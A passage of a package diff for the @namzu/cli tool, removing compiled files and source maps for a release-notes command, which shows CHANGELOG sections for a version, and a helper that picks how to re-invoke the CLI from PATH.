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"}

package/dist/release-notes.js

@@ -1,64 +0,0 @@
-/**
- * `/release-notes`: what changed in the version that is running.
- *
- * The CHANGELOG ships in the package for this. Read next to package.json
- * so the notes are the installed version's, not whatever a checkout has.
- */
-import { readFileSync } from 'node:fs';
-import { dirname, join } from 'node:path';
-import { fileURLToPath } from 'node:url';
-import { CLI_VERSION } from './version.js';
-/** The `## <version>` section of a Changesets-style changelog, or null. */
-export function changelogSection(changelog, version) {
-    const lines = changelog.split('\n');
-    const start = lines.findIndex((line) => line.trim() === `## ${version}`);
-    if (start === -1)
-        return null;
-    let end = lines.length;
-    for (let i = start + 1; i < lines.length; i++) {
-        if (lines[i]?.startsWith('## ')) {
-            end = i;
-            break;
-        }
-    }
-    const body = lines
-        .slice(start + 1, end)
-        .join('\n')
-        .trim();
-    return { version, body };
-}
-/** Every version the changelog has, newest first as written. */
-export function changelogVersions(changelog) {
-    return changelog
-        .split('\n')
-        .filter((line) => line.startsWith('## '))
-        .map((line) => line.slice(3).trim());
-}
-export function readChangelog() {
-    try {
-        const here = dirname(fileURLToPath(import.meta.url));
-        return readFileSync(join(here, '..', 'CHANGELOG.md'), 'utf8');
-    }
-    catch {
-        return null;
-    }
-}
-export const RELEASE_NOTES_MAX_LINES = 80;
-/** The transcript text for `/release-notes [version]`. */
-export function renderReleaseNotes(changelog, version = CLI_VERSION) {
-    if (changelog === null) {
-        return 'No release notes: this install has no CHANGELOG.md beside its package.json.';
-    }
-    const section = changelogSection(changelog, version);
-    if (!section) {
-        const known = changelogVersions(changelog).slice(0, 8);
-        return `No notes for ${version}. Versions with notes: ${known.join(', ')}${known.length < changelogVersions(changelog).length ? ', …' : ''}.`;
-    }
-    const lines = section.body.split('\n');
-    const shown = lines.slice(0, RELEASE_NOTES_MAX_LINES);
-    const cut = lines.length > shown.length
-        ? `\n… ${lines.length - shown.length} more lines in CHANGELOG.md`
-        : '';
-    return `@namzu/cli ${section.version}\n\n${shown.join('\n')}${cut}`;
-}
-//# sourceMappingURL=release-notes.js.map

package/dist/release-notes.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"release-notes.js","sourceRoot":"","sources":["../src/release-notes.ts"],"names":[],"mappings":"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"}

package/dist/resume-invocation.js

@@ -1,24 +0,0 @@
-import { constants, accessSync, realpathSync } from 'node:fs';
-import { delimiter, isAbsolute, join } from 'node:path';
-/** Prefer the public command only when PATH resolves to this exact executable. */
-export function resumeInvocation(entrypoint, path = process.env.PATH ?? '') {
-    if (!entrypoint.endsWith('.ts') && process.platform !== 'win32') {
-        for (const directory of path.split(delimiter)) {
-            // Relative PATH entries would change meaning after a directory change.
-            if (!isAbsolute(directory))
-                break;
-            const candidate = join(directory, 'namzu');
-            try {
-                accessSync(candidate, constants.X_OK);
-                if (realpathSync(candidate) === realpathSync(entrypoint))
-                    return ['namzu'];
-                break;
-            }
-            catch {
-                // Continue past directories without an executable namzu.
-            }
-        }
-    }
-    return [process.execPath, ...(entrypoint.endsWith('.ts') ? process.execArgv : []), entrypoint];
-}
-//# sourceMappingURL=resume-invocation.js.map

package/dist/resume-invocation.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"resume-invocation.js","sourceRoot":"","sources":["../src/resume-invocation.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,UAAU,EAAE,YAAY,EAAE,MAAM,SAAS,CAAA;AAC7D,OAAO,EAAE,SAAS,EAAE,UAAU,EAAE,IAAI,EAAE,MAAM,WAAW,CAAA;AAEvD,kFAAkF;AAClF,MAAM,UAAU,gBAAgB,CAC/B,UAAkB,EAClB,IAAI,GAAG,OAAO,CAAC,GAAG,CAAC,IAAI,IAAI,EAAE;IAE7B,IAAI,CAAC,UAAU,CAAC,QAAQ,CAAC,KAAK,CAAC,IAAI,OAAO,CAAC,QAAQ,KAAK,OAAO,EAAE,CAAC;QACjE,KAAK,MAAM,SAAS,IAAI,IAAI,CAAC,KAAK,CAAC,SAAS,CAAC,EAAE,CAAC;YAC/C,uEAAuE;YACvE,IAAI,CAAC,UAAU,CAAC,SAAS,CAAC;gBAAE,MAAK;YACjC,MAAM,SAAS,GAAG,IAAI,CAAC,SAAS,EAAE,OAAO,CAAC,CAAA;YAC1C,IAAI,CAAC;gBACJ,UAAU,CAAC,SAAS,EAAE,SAAS,CAAC,IAAI,CAAC,CAAA;gBACrC,IAAI,YAAY,CAAC,SAAS,CAAC,KAAK,YAAY,CAAC,UAAU,CAAC;oBAAE,OAAO,CAAC,OAAO,CAAC,CAAA;gBAC1E,MAAK;YACN,CAAC;YAAC,MAAM,CAAC;gBACR,yDAAyD;YAC1D,CAAC;QACF,CAAC;IACF,CAAC;IACD,OAAO,CAAC,OAAO,CAAC,QAAQ,EAAE,GAAG,CAAC,UAAU,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,UAAU,CAAC,CAAA;AAC/F,CAAC"}